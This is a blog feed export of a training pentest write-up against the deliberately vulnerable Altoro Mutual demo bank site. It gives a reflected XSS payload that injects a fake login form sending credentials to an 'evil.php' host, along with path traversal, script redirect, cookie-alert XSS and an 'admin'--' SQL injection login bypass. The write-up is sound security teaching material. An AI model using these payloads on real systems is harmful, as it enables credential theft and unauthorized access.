<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2538477377812721399</id><updated>2011-10-04T12:50:50.460-04:00</updated><category term='reversing'/><category term='debug'/><category term='altoromutual'/><category term='AspireOne 110A'/><category term='ebox'/><category term='wiki'/><category term='aspire1'/><category term='gdb'/><category term='google maps'/><category term='java'/><category term='dd-wrt'/><category term='isolation'/><category term='VLAN'/><category term='hci'/><category term='programming'/><category term='acpi'/><category term='norhtec'/><category term='assembly'/><category term='asm'/><category term='bluetooth'/><category term='crackme'/><category term='backtrack'/><category term='blackberry'/><category term='geolocation'/><category term='wireless'/><category term='spam'/><category term='powerbutton'/><category term='debian'/><category term='moin moin hardening'/><category term='WRT54GL'/><category term='atheros'/><category term='webapp'/><category term='shellscript'/><category term='training'/><title type='text'>eslimasec's blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>14</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-3712575366107117293</id><published>2010-12-12T18:39:00.004-05:00</published><updated>2011-01-23T01:28:32.233-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='training'/><category scheme='http://www.blogger.com/atom/ns#' term='altoromutual'/><category scheme='http://www.blogger.com/atom/ns#' term='webapp'/><title type='text'>A glance at Altoro Mutual</title><content type='html'>* Robots.txt file has not been found but error page reveals Microsoft Internet Information Services in Use. Robots file sometimes expose juicy information.&lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_xdTz5PTwQjE/TTTqsFeDSQI/AAAAAAAAAIg/a5MTo-NSCxc/s1600-h/image%5B9%5D.png"&gt;&lt;img alt="image" border="0" height="621" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTTqvNnCbTI/AAAAAAAAAIk/C_RuDxEPgiM/image_thumb%5B5%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="832" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;* Server headers provide quite a lot of information: underlying technologies, versions, and a suspicious second cookie named “amSessionId”. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTTqviHmOvI/AAAAAAAAAIo/2Cr9aS3NLIE/s1600-h/image%5B12%5D.png"&gt;&lt;img alt="image" border="0" height="518" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTTqwOLG96I/AAAAAAAAAIs/WOSZYyQLmpE/image_thumb%5B6%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="622" /&gt;&lt;/a&gt; &lt;br /&gt;* While performing the test I just gapped by chance in this Google reply that includes the X-XSS-Protection with a 0 value, this causes IE 8 to allow displaying XSS suspicious content. There is a bit of discussion regarding this protection mechanism as it is said to block some benign contents so this is why Google may include this header. The X-Content-Type-Options set to nosniff is another header related to IE8 that helps mitigating certain attacks related to MIME type abuses. &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTTqwmyqZHI/AAAAAAAAAIw/-fF8tR6vmsk/s1600-h/image%5B15%5D.png"&gt;&lt;img alt="image" border="0" height="617" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTTqxHepS9I/AAAAAAAAAI0/qkgusXD8G1o/image_thumb%5B7%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="815" /&gt;&lt;/a&gt;&lt;br /&gt;* Sometimes you can get interesting information from contents metadata; in this case for example we see that the images have been edited with Photoshop 3.0. In other occasions one can get usernames and similar stuff to be used in the engagement. &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_xdTz5PTwQjE/TTTqyBBzyXI/AAAAAAAAAI4/wFTft8skYRw/s1600-h/image%5B18%5D.png"&gt;&lt;img alt="image" border="0" height="585" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTTqy7Ri3WI/AAAAAAAAAI8/atpvmPXMDOI/image_thumb%5B8%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="813" /&gt;&lt;/a&gt; &lt;br /&gt;* The main search function is vulnerable to XSS &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTTqzz6-3CI/AAAAAAAAAJA/4Y73cNZYyyA/s1600-h/image%5B21%5D.png"&gt;&lt;img alt="image" border="0" height="612" src="http://lh5.ggpht.com/_xdTz5PTwQjE/TTTq1PAABSI/AAAAAAAAAJE/3OKwiqXOxuY/image_thumb%5B9%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="827" /&gt;&lt;/a&gt; &lt;br /&gt;Here is the cookie, the ASP.NET cookie has not been revealed because of the httponly flag that was set that avoids JavaScript usage of the cookie. &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTTq2DZUdRI/AAAAAAAAAJI/lbwfBho0DCE/s1600-h/image%5B24%5D.png"&gt;&lt;img alt="image" border="0" height="602" src="http://lh5.ggpht.com/_xdTz5PTwQjE/TTTq4KuoF3I/AAAAAAAAAJM/FpFek1z55fM/image_thumb%5B10%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="831" /&gt;&lt;/a&gt; &lt;br /&gt;A more elaborated attack can be performed as follows. First inject the following string that will display a fake login page to trick the user (victim). &lt;br /&gt;http://testfire.net/search.aspx?txtSearch=%3Ch1%3EDearest%20user%20please%20provide%20password%20;)%3Ch1%3E%3Cdiv%20background-color%3A%23FF3300%3E%3Cform+action%3D%E2%80%9Dhttp%3A%2F%2F127.0.0.1%2Fevil.php%E2%80%9D%3EUsername%3A%3Cbr%3E%3Cinput+type%3D%E2%80%9Dtext%E2%80%9D+name%3D%E2%80%9Duser%E2%80%9D%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput+type%3D%E2%80%9Dtext%E2%80%9D+name%3D%E2%80%9Dpass%E2%80%9D%3E%3Cbr%3E%3Cinput+type=SUBMIT%20value=%22login%22%20/%3E%3C/form%3E%3C/div%3E &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_xdTz5PTwQjE/TTTq6YaGodI/AAAAAAAAAJQ/jHXDDn2iVqM/s1600-h/image%5B27%5D.png"&gt;&lt;img alt="image" border="0" height="612" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTTq9rMfGnI/AAAAAAAAAJY/fvIe-Yz2mB8/image_thumb%5B11%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="822" /&gt;&lt;/a&gt; &lt;br /&gt;We set up a listening socket, with netcat in this example. &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTTq_H4kVPI/AAAAAAAAAJc/dOBYr92kzlU/s1600-h/image%5B30%5D.png"&gt;&lt;img alt="image" border="0" height="506" src="http://lh5.ggpht.com/_xdTz5PTwQjE/TTTrA57BevI/AAAAAAAAAJg/c2-EH8c5Jg0/image_thumb%5B12%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="688" /&gt;&lt;/a&gt; &lt;br /&gt;The user will then input his user and password. &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_xdTz5PTwQjE/TTTrEIEnbpI/AAAAAAAAAJk/m2a39YZ44qM/s1600-h/image%5B33%5D.png"&gt;&lt;img alt="image" border="0" height="617" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTTrFAfuZeI/AAAAAAAAAJo/myO9Ft8NwLM/image_thumb%5B13%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="825" /&gt;&lt;/a&gt; &lt;br /&gt;And the attacker therefore captures them. &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTTrFoW60pI/AAAAAAAAAJs/5o488afKTG0/s1600-h/image%5B36%5D.png"&gt;&lt;img alt="image" border="0" height="514" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTTrGtd0F4I/AAAAAAAAAJw/iN19aB7phYM/image_thumb%5B14%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="688" /&gt;&lt;/a&gt; &lt;br /&gt;If we wanted to provide more impressive results we can start Beef exploitation framework in order to control a victim’s browser. &lt;br /&gt;* The way of the application to locate contents seems vulnerable to path traversal. The application seems to like to server html files but when manipulating the parameter an unfiltered error is displayed with interesting information. &lt;br /&gt;&lt;a href="http://demo.testfire.net/default.aspx?content=../../../../../boot.ini.txt"&gt;http://demo.testfire.net/default.aspx?content=../../../../../boot.ini.txt&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW3siWvKKI/AAAAAAAAAJ0/yHF2QvLZ1WE/s1600-h/image%5B39%5D.png"&gt;&lt;img alt="image" border="0" height="623" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW3tI2UG-I/AAAAAAAAAJ4/rjVwO1B-uJw/image_thumb%5B15%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="828" /&gt;&lt;/a&gt; &lt;br /&gt;Insecure redirection or remote file inclusion was also tested with no luck &lt;br /&gt;&lt;a href="http://demo.testfire.net/default.aspx?content=http://www.deloite.com/index.htm"&gt;http://demo.testfire.net/default.aspx?content=http://www.deloite.com/index.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW3tW0LPnI/AAAAAAAAAJ8/OMuLpKUjW0M/s1600-h/image%5B42%5D.png"&gt;&lt;img alt="image" border="0" height="611" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW3tjvGbHI/AAAAAAAAAKA/Sb8i_bugU9E/image_thumb%5B16%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="832" /&gt;&lt;/a&gt; &lt;br /&gt;Here the attack (insecure redirection) seems possible here: &lt;br /&gt;&lt;a href="http://demo.testfire.net/disclaimer.htm?url=http://www.netscape.com"&gt;http://demo.testfire.net/disclaimer.htm?url=http://www.netscape.com&lt;/a&gt; &lt;br /&gt;Abusing the URL like this &lt;br /&gt;&lt;a href="http://demo.testfire.net/disclaimer.htm?url=http://en.wikipedia.org/wiki/Kiwi"&gt;http://demo.testfire.net/disclaimer.htm?url=http://en.wikipedia.org/wiki/Kiwi&lt;/a&gt; &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW3t0boNtI/AAAAAAAAAKE/J5-8UOkEXvY/s1600-h/image%5B45%5D.png"&gt;&lt;img alt="image" border="0" height="618" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW3udPoW7I/AAAAAAAAAKI/Ey9UKOP0Wd8/image_thumb%5B17%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="827" /&gt;&lt;/a&gt; &lt;br /&gt;* But a warning message appears, which is vulnerable to injection, and we can perform the redirection. &lt;br /&gt;http://demo.testfire.net/disclaimer.htm?url=www.as.com;testfire.net&amp;lt;script&amp;gt;document.location="http://en.wikipedia.org/wiki/Kiwi";&amp;lt;/script&amp;gt; &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW3utkguWI/AAAAAAAAAKM/tVfhS6Kv-QA/s1600-h/image%5B48%5D.png"&gt;&lt;img alt="image" border="0" height="621" src="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW3u31zU6I/AAAAAAAAAKQ/26_igRZzxx0/image_thumb%5B18%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="829" /&gt;&lt;/a&gt; &lt;br /&gt;* In the subscription feature they check client side what characters the user is introducing, but no server side leading to an error. &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW3vrkfHII/AAAAAAAAAKU/dKgnRqbxTfE/s1600-h/image%5B51%5D.png"&gt;&lt;img alt="image" border="0" height="615" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW3v-1C5tI/AAAAAAAAAKY/TyqVVyTG5Zs/image_thumb%5B19%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="823" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW3wUnnvnI/AAAAAAAAAKc/zkoQivfN3Ec/s1600-h/image%5B54%5D.png"&gt;&lt;img alt="image" border="0" height="612" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW3wruvJYI/AAAAAAAAAKg/seZSumNnzao/image_thumb%5B20%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="810" /&gt;&lt;/a&gt; &lt;br /&gt;* Therefore by introducing a “’” we have a nice Database error that could derive into a SQL Injection attack. &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW3w1GIKNI/AAAAAAAAAKk/lZkaAGPa7OE/s1600-h/image%5B57%5D.png"&gt;&lt;img alt="image" border="0" height="606" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW3xEzw1SI/AAAAAAAAAKo/9HMGMgqiDmY/image_thumb%5B21%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="824" /&gt;&lt;/a&gt; &lt;br /&gt;It seems to be an underlying insert clause but does not respond as expected to Boolean clauses &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW3xWAwCOI/AAAAAAAAAKs/wW0xUmO0J9c/s1600-h/image%5B60%5D.png"&gt;&lt;img alt="image" border="0" height="620" src="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW3x3kMk1I/AAAAAAAAAK0/bRd-MrrS2E4/image_thumb%5B22%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="825" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW3yZ-Wn8I/AAAAAAAAAK4/NkzJ0mishGQ/s1600-h/image%5B63%5D.png"&gt;&lt;img alt="image" border="0" height="603" src="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW3yt2ZNsI/AAAAAAAAAK8/cVW6ouRZthM/image_thumb%5B23%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="823" /&gt;&lt;/a&gt; &lt;br /&gt;We could try to perform additional SQL commands by appending a “;drop database” but It wouldn’t be fair for Altoro. Again there is a XSS here. &lt;br /&gt;* Again we have another Cross Site Scripting in a message: &lt;br /&gt;POST &lt;a href="http://demo.testfire.net/subscribe.aspx"&gt;http://demo.testfire.net:80/subscribe.aspx&lt;/a&gt; &lt;br /&gt;txtEmail=aaa%40mailinator.com&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&amp;amp;btnSubmit=Subscribe &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW3y3S_m5I/AAAAAAAAALA/zr1gmGCFkTQ/s1600-h/image%5B66%5D.png"&gt;&lt;img alt="image" border="0" height="612" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW3zPHEOPI/AAAAAAAAALE/kfhp_UR0F_0/image_thumb%5B24%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="831" /&gt;&lt;/a&gt; &lt;br /&gt;* They do not mark the field with the autocomplete=off tag, here is not so dangerous but it is in login forms. &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW3z26R-6I/AAAAAAAAALI/Ssurgo5S3Nc/s1600-h/image%5B69%5D.png"&gt;&lt;img alt="image" border="0" height="618" src="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW30Gw69ZI/AAAAAAAAALM/ZEyZ8hNCdks/image_thumb%5B25%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="831" /&gt;&lt;/a&gt; &lt;br /&gt;* Directory indexing misconfiguration has been located with sensitive information: &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW30azobgI/AAAAAAAAALQ/gSPqQS3F1iE/s1600-h/image%5B72%5D.png"&gt;&lt;img alt="image" border="0" height="618" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW30rtqrjI/AAAAAAAAALU/qsyc8Lq8sY4/image_thumb%5B26%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="819" /&gt;&lt;/a&gt; &lt;br /&gt;* There is a local reference to a file that also reveals a user name: &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW30ztOfcI/AAAAAAAAALY/2-3GoyOIdPw/s1600-h/image%5B75%5D.png"&gt;&lt;img alt="image" border="0" height="610" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW31ICtGxI/AAAAAAAAALc/Tkwda7m4mf8/image_thumb%5B27%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="825" /&gt;&lt;/a&gt; &lt;br /&gt;* In the feedback form there is also another XSS. &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW31RgXpyI/AAAAAAAAALg/3OwIR9_7KX4/s1600-h/image%5B78%5D.png"&gt;&lt;img alt="image" border="0" height="618" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW31itf75I/AAAAAAAAALk/BP_j__LyzH8/image_thumb%5B28%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="824" /&gt;&lt;/a&gt; &lt;br /&gt;* Incomplete web page coding so that the page lacks of functionality, can impact the public image of the Bank. The button does not work as the html form does not have even an action tag definition. &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW32LweVhI/AAAAAAAAALo/-BiqaVRzsPg/s1600-h/image%5B81%5D.png"&gt;&lt;img alt="image" border="0" height="571" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW32YaL55I/AAAAAAAAALs/LJQzf6QCSUw/image_thumb%5B29%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="826" /&gt;&lt;/a&gt; &lt;br /&gt;* Login information is transmitted in clear text: &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW32hAQ4TI/AAAAAAAAALw/arsVDEk0AwI/s1600-h/image%5B84%5D.png"&gt;&lt;img alt="image" border="0" height="618" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW33KeomeI/AAAAAAAAAL0/11GdjV_LdE4/image_thumb%5B30%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="822" /&gt;&lt;/a&gt; &lt;br /&gt;* It reveals when a username is not in the system, it can lead to ease brute forcing attacks on username field. &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW33QUjuXI/AAAAAAAAAL4/8FTPcLpczsQ/s1600-h/image%5B87%5D.png"&gt;&lt;img alt="image" border="0" height="612" src="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW34X-KLiI/AAAAAAAAAL8/gr6-QsrOuZo/image_thumb%5B31%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="824" /&gt;&lt;/a&gt; &lt;br /&gt;We see admin works so we just have to concentrate on password &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW34rNWbqI/AAAAAAAAAMA/_LdmfbL8npE/s1600-h/image%5B90%5D.png"&gt;&lt;img alt="image" border="0" height="547" src="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW348uTtSI/AAAAAAAAAME/bx_huhKUtFA/image_thumb%5B32%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="824" /&gt;&lt;/a&gt; &lt;br /&gt;* It seems vulnerable to SQL Injection attack &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW35CWBybI/AAAAAAAAAMI/VYi2ywCeuoE/s1600-h/image%5B93%5D.png"&gt;&lt;img alt="image" border="0" height="616" src="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW35aJiisI/AAAAAAAAAMM/9ILCHbJ_Hq0/image_thumb%5B33%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="827" /&gt;&lt;/a&gt; &lt;br /&gt;It is very easy to circumvent login page according to the previous behavior exposed by the web page, we just have to use the following: &lt;br /&gt;· User: “admin’--“ (exclude the double quotes). &lt;br /&gt;· Password: whatever as its going to be ignored because of the “—“ symbols that are meant to comment lines in SQL. &lt;br /&gt;We see we have logged in with admin account: &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW35_DAbiI/AAAAAAAAAMU/c2beX3N8xdo/s1600-h/image%5B96%5D.png"&gt;&lt;img alt="image" border="0" height="623" src="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW36Mv20lI/AAAAAAAAAMY/a9FaKEnn41c/image_thumb%5B34%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="829" /&gt;&lt;/a&gt; &lt;br /&gt;* By the way an easy password guessing shows us that we can log in with admin/admin credentials. &lt;br /&gt;We see that admin login is in fact an administration menu of the application in which we could change other user’s password and thus log in as them as well. &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW36YC-L0I/AAAAAAAAAMc/Kz6yqFVvJ10/s1600-h/image%5B99%5D.png"&gt;&lt;img alt="image" border="0" height="602" src="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW36my0EeI/AAAAAAAAAMg/YxfPBBM9j00/image_thumb%5B35%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="825" /&gt;&lt;/a&gt; &lt;br /&gt;Changing user password does not seem to work (to avoid abuses from pentesters I guess) but usernames are valuables to access by the “—“ technique. &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW361dVsWI/AAAAAAAAAMk/5tssShQylig/s1600-h/image%5B102%5D.png"&gt;&lt;img alt="image" border="0" height="598" src="http://lh6.ggpht.com/_xdTz5PTwQjE/TTW37HNU8WI/AAAAAAAAAMo/5l2d4GOQfhI/image_thumb%5B36%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="828" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW37YF2_DI/AAAAAAAAAMs/sxfztmmf13I/s1600-h/image%5B105%5D.png"&gt;&lt;img alt="image" border="0" height="619" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW37l4zvhI/AAAAAAAAAMw/VPLr0SGc2J8/image_thumb%5B37%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="827" /&gt;&lt;/a&gt; &lt;br /&gt;* There is another directory indexing vulnerability &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW373KW1UI/AAAAAAAAAM0/7C5ml_1qpCE/s1600-h/image%5B108%5D.png"&gt;&lt;img alt="image" border="0" height="576" src="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW38NhPhKI/AAAAAAAAAM4/bed2QE5vVO8/image_thumb%5B38%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="1006" /&gt;&lt;/a&gt; &lt;br /&gt;* There is a web service (not authenticated). &lt;br /&gt;&lt;a href="http://demo.testfire.net/bank/ws.asmx"&gt;http://demo.testfire.net/bank/ws.asmx&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW38TbalQI/AAAAAAAAAM8/FIYfLFwGIQ8/s1600-h/image%5B111%5D.png"&gt;&lt;img alt="image" border="0" height="421" src="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW38kVQmOI/AAAAAAAAANA/K1LddYdXtcQ/image_thumb%5B39%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="811" /&gt;&lt;/a&gt; &lt;br /&gt;It contains the web service methods definition and the soap messages needed: &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW39daWPSI/AAAAAAAAANE/0ck1dEuO5ck/s1600-h/image%5B114%5D.png"&gt;&lt;img alt="image" border="0" height="562" src="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW39tOxpjI/AAAAAAAAANI/XkX9K5llbeM/image_thumb%5B40%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="815" /&gt;&lt;/a&gt; &lt;br /&gt;This can be attacked to obtain usernames by means of soap messages and possibly performing XML injection attacks &lt;br /&gt;A captcha exists as well to avoid malicious users do brute forcing on the password field with automated tools: &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW393doEGI/AAAAAAAAANM/L-QbGAQuUJM/s1600-h/image%5B117%5D.png"&gt;&lt;img alt="image" border="0" height="605" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW3-NSFGWI/AAAAAAAAANQ/CfuQjaKLHAk/image_thumb%5B41%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="821" /&gt;&lt;/a&gt; &lt;br /&gt;* In the capcha window source code we see a password in an html comment: &lt;br /&gt;Altoro1234 &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_xdTz5PTwQjE/TTW3-RUKZHI/AAAAAAAAANU/k-OlVwo1ejc/s1600-h/image%5B120%5D.png"&gt;&lt;img alt="image" border="0" height="492" src="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW3-vqfAYI/AAAAAAAAANY/ZXsQf_omjFg/image_thumb%5B42%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="1176" /&gt;&lt;/a&gt; &lt;br /&gt;With this info and the capcha number we can successfully login &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_xdTz5PTwQjE/TTW3-6fWiKI/AAAAAAAAANc/31bsIKMeEzA/s1600-h/image%5B123%5D.png"&gt;&lt;img alt="image" border="0" height="625" src="http://lh4.ggpht.com/_xdTz5PTwQjE/TTW3_GHGd_I/AAAAAAAAANg/akzWCy81cZI/image_thumb%5B43%5D.png?imgmax=800" style="background-image: none; border: 0px none; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 